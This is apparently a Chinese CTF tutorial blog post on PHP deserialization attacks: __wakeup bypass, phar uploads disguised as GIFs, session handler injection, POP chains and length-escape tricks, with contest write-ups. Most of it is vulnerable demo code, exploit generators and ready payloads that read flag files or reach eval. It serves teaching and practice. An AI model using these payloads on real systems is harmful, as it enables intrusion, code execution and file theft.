best_phpserialize

1. 序列化&反序列化入门

1.1 入门基础知识

1.1.1 demo1 序列化

序列化:利用serialize()函数将一个对象转换为字符串形式

基本格式:类型:长度:值

<?php
highlight_file(__FILE__);   
class Test {
    public $name = 'Te1t';
    public $age = '18';
    public $sex = 'male';
}
$test = new Test();
print_r($test);
echo '<br/>';
echo serialize($test);
?>  

序列化

1.1.2 demo2 反序列化

<?php
highlight_file(__FILE__);   
class Test {
    public $name = 'Te1t';
    public $age = '18';
    public $sex = 'male';
}
$test = new Test();
$content = serialize($test);
print_r($content);
echo '<br />';
print_r(unserialize($content));
?>  

反序列化

1.1.3 对象属性

private权限属性名:正常
private权限属性名: %00类名%00属性名,且属性名长度改变
protected权限属性名: %00*%00属性名,且属性名长度改变

<?php 
highlight_file(__FILE__);  
class Test {
    public $name = 'Te1t';
    private $age = '18';
    protected $sex = 'male';
}
$test = new Test();
$content = serialize($test);
file_put_contents('./flag.txt', $content);
?>  

对象属性

1.1.3.1 S和s

PHP序列化的时候,protected和private变量会引入不可见字符\x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错。

private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但在url编码后可以看得很清楚,就是%00。

php_serialize

此时,为了更方便进行反序列化payload的传输和显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

<?php
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
$wrong_payload = 'O:4:"game":2:{s:9:"\00*\00wanjia";s:4:"xiao";s:5:"\00*\00bo";s:6:"dragon";}';
$right_payload = 'O:4:"game":2:{S:9:"\00*\00wanjia";s:4:"xiao";S:5:"\00*\00bo";s:6:"dragon";}';

if(is_valid($right_payload)&is_valid($wrong_payload)){
    var_dump(unserialize($right_payload));
    echo "</br>";
    var_dump(unserialize($wrong_payload));
}
else{
    echo '就是这个样子';
}
?>

S和s

1.1.4 存在的问题&常见类型

魔术方法
CVE-2016-7124:绕过魔法函数__wakeup(反序列化对象注入)
Phar反序列化
Session反序列化
反序列化字符逃逸
POP链
原生类

1.2 常见类型剖析

1.2.1 魔术方法

__construct:在创建对象时候初始化对象,一般用于对变量赋初值。

__destruct:和构造函数相反,当对象所在函数调用完毕后执行。

__toString:当对象被当做一个字符串使用时调用。

__sleep:序列化对象之前就调用此方法

__wakeup:反序列化恢复对象之前调用该方法

__call:当调用对象中不存在的方法会自动调用该方法,会将不存在方法的名称存到$name,把不存在方法的参数存到$argument。

__get:获得一个类的成员变量时调用。当访问一个不存在的属性的时候,会直接调用__get方法,并把该不存在的属性赋给__get($key)中的$key

__set:设置一个类的成员变量时调用

__invoke:调用函数的方式调用一个对象时的回应方法

__call

demo1 综合

<?php
highlight_file(__FILE__);   
class Test {
    public $a=1;
    public $b=2;
    public function __construct(){
        echo "__construct<br />";
    }
    public function __destruct(){
        echo "__destruct<br />";
    }
    public function __toString(){
        return "__toString<br />";
    }
    public function __sleep(){
        echo "__sleep<br />";
        return array("$a","$b");
    }
    public function __wakeup(){
        echo "__wakeup<br />";
    }
}
//实例化对象,自动调用__construct
$obj = new Test();

//当类被当成字符串输出,自动调用__toString
echo $obj;

//序列化对象,调用__sleep
$c = serialize($obj);
echo $c.'<br/>';

//反序列化对象,调用__wakeup
$d = unserialize($c);
//echo又相当于将反序列化后生成的类当做字符串输出,于是又调用__toString
echo $d;

//脚本结束,$obj和$d这两个对象均被销毁,调用两次__destruct。

?>  

image-20200429091236410

demo2 __wakeup

<?php
highlight_file(__FILE__);
class Flag{ //flag.php(写一个有flag的文件,放在当前目录即可)
    public $file;
    public function __wakeup(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
    }
}
unserialize($_GET['password']); 
?>
<?php
//exp,在页面源代码里可以看到flag
class Flag{ //flag.php
    public $file = 'flag.php';
}
echo serialize(new Flag());
?>

demo3 __toString

<?php
highlight_file(__FILE__);
class Flag{ //flag.php
    private $file='phpinfo.php';
    public function __tostring(){
        //这里__tostring和__toString都可以
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br />";
        return ("good");
        }
    }
}
echo unserialize($_GET['password']); 
?>
<?php
//exp
class Flag{
    private $file = 'flag.php';
}
echo serialize(new Flag());
// O:4:"Flag":1:{s:10:"%00Flag%00file";s:8:"flag.php";}
?>

1.2.2 CVE-2016-7124:绕过魔法函数__wakeup

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
版本限制:PHP5 < 5.6.25 | PHP7 < 7.0.10

例题:

http://note.youdao.com/noteshare?id=4d3be9380c3fa674c7c8e84206bea06b&sub=8395D7512365442596466DF821FF52B6

<?php
// show_source(__file__);
//phpinfo();
class Test{ //flag.php
  public $file='phpinfo.php';
  function __destruct(){
      echo file_get_contents($this->file);
  }
  function __wakeup()
  { 
      include($this->file);
      exit;
  } 
}     
if (!isset($_GET['file']))
{
    show_source('index.php'); 
}else{ 
    unserialize($_GET['file']); 
} 
?>

payload: ?file=O:4:”Test”:2:{s:4:”file”;s:8:”flag.php”;}

1.2.3 Phar利用

phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// ,php://等类似,也是一种流包装器。

参考资料:

1、 php反序列化拓展攻击详解–phar https://xz.aliyun.com/t/6699

2、 PHP反序列化入门之phar https://mochazz.github.io/2019/02/02/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bphar/#phar%E4%BB%8B%E7%BB%8D

phar介绍

phar结构

结构:

stub phar文件标识,格式为 xxx
manifest压缩文件的属性等信息,以序列化存储;
contents压缩文件的内容;
signature签名,放在文件末尾;

关键信息:

• 文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;

• 反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。

• phar生成(php.ini中phar.readonly选项设置为Off并把分号去掉)。

利用条件

phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

Phar受影响的文件操作函数

影响函数

demo__phar

文件操作函数file_exists()通过phar://伪协议解析phar文件,使数据反序列化,从而调用__destruct()实现利用。

<?php
highlight_file(__FILE__);
class TestObject {
    public $name;
    function __destruct()
    {
        echo $this -> name;
        //这里如果改为eval,就成了代码执行。
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}
?>
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o->name = 'flag'; //控制TestObject中的name变量为flag
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

payload:

?file=phar://phar.phar

phar_bypass

Bypass–文件类型

加一个GIF头

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,前面加了一个GIF头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>
Bypass–phar不能出现在前面的字符

compress.bzip2://phar://
compress.zlib://phar://
php://filter/resource=phar://

phar_upload

upload.php

上传页面要求上传文件类型为image/gif,且后缀名为.gif。

<?php
highlight_file(__FILE__);
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

index.php

<?php
highlight_file(__FILE__);
class TestObject{
    var $data = 'echo "Hello World";';
    function __destruct()
    {
        eval($this -> data);
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}

解题思路:

生成一个.phar文件, 加GIF89a ,然后后缀名改为.gif上传上去,最后在index.php页面利用file_exists,使用phar协议解析刚才上传的.gif文件。

解题过程:

1、生产.phar文件,后缀名改为.gif

<?php
    class TestObject {
    public $data;
} 
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o->data = 'phpinfo();';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

2、写一个html进行上传:

<!doctype html>
<html>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

3、payload:

index.php?file=phar://upload_file/phar1.gif

利用成功:

success

1.2.4 PHP Session 反序列化

session的含义和工作流程

session:英文翻译为”会话”,两个人聊天从开始到结束就构成了一个会话。PHP里的session主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期。

工作流程:

会话的工作流程很简单,当开始一个会话时,PHP会尝试从请求中查找会话 ID(通常通过会话 cookie),如果发现请求的Cookie、Get、Post中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存。

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

PHP的session处理器

深入解析PHP中SESSION反序列化机制: https://www.jb51.net/article/107101.htm

PHP 内置了多种处理器用于存取$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,可对
php.ini中对session.serialize_handler进行配置。

<?php
//ini_set('session.serialize_handler', 'php_binary');
//ini_set('session.serialize_handler', 'php');
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
//去到session文件处查看内容
?>

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

4对应的ASCIInames:6:”spoock”

4对应的ASCII是不可打印字符


php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

name|s:6:”spoock”


php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

a:1:{s:4:”name”;s:6:”spoock”;}

session序列化利用初级

当session.auto_start=Off时,配置中使用php_serialize,而反序列化使用的是php的时候就会出现安全问题。

假设注入的数据是a=|O:4:"test":0:{} 那么通过php_serialize反序列化储存的结果就是a:1{s:1:"a";s:16:"|O:4:"test":0:{}";}。根据php的反序列化格式( 键名 + 竖线 + 经过 serialize() 函数反序列处理的值)可知,此时a:1:{s:1:"a";s:16:" 就会被当作键名,O:4:"test":0:{}"; 就会被当作序列化后的值。

demo:

session.php

<?php
error_reporting(0);
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
// |O:5:"lemon":1:{s:2:"hi";s:27:"highlight_file('flag.php');";}
?>

index.php

<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    public $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }
    function __destruct() {
         eval($this->hi);
    }
}
?>

解题思路:

在session.php提交payload:

?session=|O:5:"lemon":1:{s:2:"hi";s:27:"highlight_file('flag.php');";}

访问index.php,session处理器php会把|后面的内容当成序列化后的值,程序结束自动调用__destruct(),实现代码执行。

附上exp:

<?php
    class lemon {
    public $hi="highlight_file('flag.php');";
    // 语句后面一定要带一个;
}
    $a = new lemon();
    echo serialize($a);
//前面加上一个|
// |O:5:"lemon":1:{s:2:"hi";s:27:"highlight_file('flag.php');";}
?>

session利用

session序列化利用进阶(条件竞争)

题目链接:http://web.jarvisoj.com:32784/index.php

参考资料:

1、writeup:https://www.jianshu.com/p/2ea63715fc65

2、官方文档:https://www.php.net/manual/en/session.upload-progress.php

3、利用session.upload_progress进行文件包含和反序列化渗透:https://www.freebuf.com/vuls/202819.html

4、ezinclude( 2020–NPUCTF)

文件上传html:

<html>
<head>
    <title>upload</title>
</head>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>

</html>

条件竞争1

条件竞争2

1.2.5 POP链

面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的
面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者
指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链
来执行一些操作。

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术
方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数
的属性联系起来。

demo__POP

举一个例子来说明pop链的构造。

__wakeup() -> __toString() ->  __get($key)  ->  __invoke() ->file_get()
<?php
error_reporting(1);
class Read{
    public $var;
    function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }

}
class Show{
    public $source;
    public $str;
    function __construct($file='index.php'){
        $this->source = $file;
        echo $this->source.'Welcome'.'<br/>';
    }
    function __toString(){
        return $this->str['str']->source;
    }
    function _show(){
        if(preg_match('/gopher|http|https|ftp|dict|\.\.|flag|file/i',$this->source)){
            die('Hacker');
        }else{
            highlight_file($this->source);
        }
    }
    function __wakeup(){
        if(preg_match('/gopher|http|https|ftp|file|dict|\.\./i',$this->source)){
            echo 'Hacker';
            $this->source = 'index.php';
    }
        }
}
class Test{
    public $p;
    function __construct(){
        $this->p = array();
    }
    function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $show = new Show('index.php');
    $show->_show();
}
?>

放一个exp,生成的序列化字符串以get形式通过hello参数提交即可:

<?php
class Read{
    public $var;
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Read();
$a->var = 'flag.php';
$b = new Test();
$b->p = $a;
$c = new Show();
$c->str['str'] = $b;
$c->source = $c;
echo serialize($c);
?>

image-20200429233400791

得到的字符串base64解密即可得flag。

1.2.6 反序列化长度逃逸

长度减小逃逸

以2020年4月安恒杯的一道真题为例,writeup:https://blog.csdn.net/SopRomeo/article/details/105849403

https://www.bilibili.com/video/BV1tV411d78y?from=search&seid=17242247069452100053

题目源码如下:

 <?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a)))); 

思路:

1、很明显的pop链

<?php
    class B{
        public $b;
    }
    class C{
        public $c;
    }
    $c = new C();
    $c->c = 'flag.php';
    $b = new B();
    $b->b = $c;
    echo serialize($b);
    //O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
?>

2、只要让A类的一个属性为我们构造的pop链即可。

<?php
class A{
    public $username = '1';
    public $password = '1';
}
$a = new A();
echo serialize($a);
//O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
?>

3、构造过程:

image-20200503095637046

可以看到题目定义的read函数是一个由6字节变为3字节,长度减小的过程,此处即是利用点。

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
-----------------------------------------------------------------------------------------
从"拆为两块
O:1:"A":2:{s:8:"username";s:1:"1
";s:8:"password";s:1:"1";}
-----------------------------------------------------------------------------------------
第二块复制到password属性值的地方
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"";s:8:"password";s:1:"1";}";}
-----------------------------------------------------------------------------------------
因为上一步是放在""这里的,随意修改为我们想要的内容:
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}";}
-----------------------------------------------------------------------------------------
这时password属性值的地方都是我们构造的,其长度显然是个两位数,假设是44
这时username属性值的地方我开始的时候填了个1方便构造,也可以删掉了。
O:1:"A":2:{s:8:"username";s:1:"";s:8:"password";s:44:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}";}
-----------------------------------------------------------------------------------------
确定逃逸字符:23";s:8:"password";s:44:"
因为每次长度减3,这里需要是3的倍数,在加一位数吧,凑个24位,也就是说减8";s:8:"password";s:44:"1
O:1:"A":2:{s:8:"username";s:1:"";s:8:"password";s:44:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}";}
-----------------------------------------------------------------------------------------
至此
username:
\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0
password:
1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}
再进行一次urlencode,就可以用了
-----------------------------------------------------------------------------------------
上一步username处不要用工具去编码,用urlencode
?a=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&b=1%22%3Bs%3A8%3A%22password%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A1%3A%22c%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%3B%7D

1.2.7 反序列化之深浅拷贝

题目链接:http://dcnctf.com:1035/

参考资料:

1、PHP深浅拷贝 https://www.cnblogs.com/nul1/p/9418080.html

2、南邮PHP反序列化 https://www.cnblogs.com/nul1/p/9417484.html

demo:

<?php 

#GOAL: get the secret;

class just4fun {
    var $enter;
    var $secret;
    //$this->enter = &$this->secret
    //一个&搞定
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "?????????????????????????????";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

2. 真题详解

2.1 babyphp(2020新春战疫)

这是一道长度增大逃逸的反序列化题目,先构造pop链,然后利用preg_replace逃逸出pop链对应的序列化值。

2.2 AreUSerialz(2020网鼎杯第一场青龙组)

参考资料:

1、php – 脚本在魔法方法中失去权限__destruct() https://www.icode9.com/content-1-231317.html

2、Y1ng—— https://www.gem-love.com/websecurity/2322.html

3、anquanke https://www.anquanke.com/post/id/204856#h2-3

题目源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

这道题环境有点问题,打比赛时,本地根据题目提供的源代码搭不起来,下面放一些赛后dai师傅们的讨论情况。

Y1ng

Y2ng

flank

记录下一些比赛时一些师傅可用的payload:

payload1:比赛时用的!!
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";N;}
-----------------------------------------------------------------------------------------
payload2:省略content
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
-----------------------------------------------------------------------------------------
payload3:使用绝对路径
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:4:"y1ng";}

关于绝对路径方面:

y1ng师傅:

用/proc/selef/cmdline读到配置文件路径:
/web/config/httpd.conf
然后读到网站根目录为:/web/html/

另一位师傅:

构造个404看看这是什么服务器。 发现是 Alpine的镜像。于是查了波其web路径的配置/web/config/httpd.conf

404

赛后本地搭建环境,进行测试:

环境:php7.3.4

S来代替s,在小写s情况下\00就会被解析成%00(1个字符),而如果是大写S,\00就是一个斜线+2个零(3个字符),这样就可以绕过is_valid的检测。

如果不用绝对路径,可以使用伪协议,并且省略最后一个},file_get_contents就不会返回false了。

下面摘自Y1ng大佬的解释。

Y3ng

以下为本地测试时可用的payload:
绝对路径+大写S
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:30:"/var/www/html/php_exp/flag.php";S:10:"\00*\00content";N;}
-----------------------------------------------------------------------------------------
相对路径+伪协议+大写S+去掉末尾的}
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;
-----------------------------------------------------------------------------------------
相对路径+大写S+去掉末尾的}
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;

   转载规则


《best_phpserialize》 pperk 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
best_rce best_rce
我想给你一把打开这扇门的钥匙,而你要做的便是静静的聆听接下来的故事。
2020-04-30
下一篇 
best_sql best_sql
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-04-28
  目录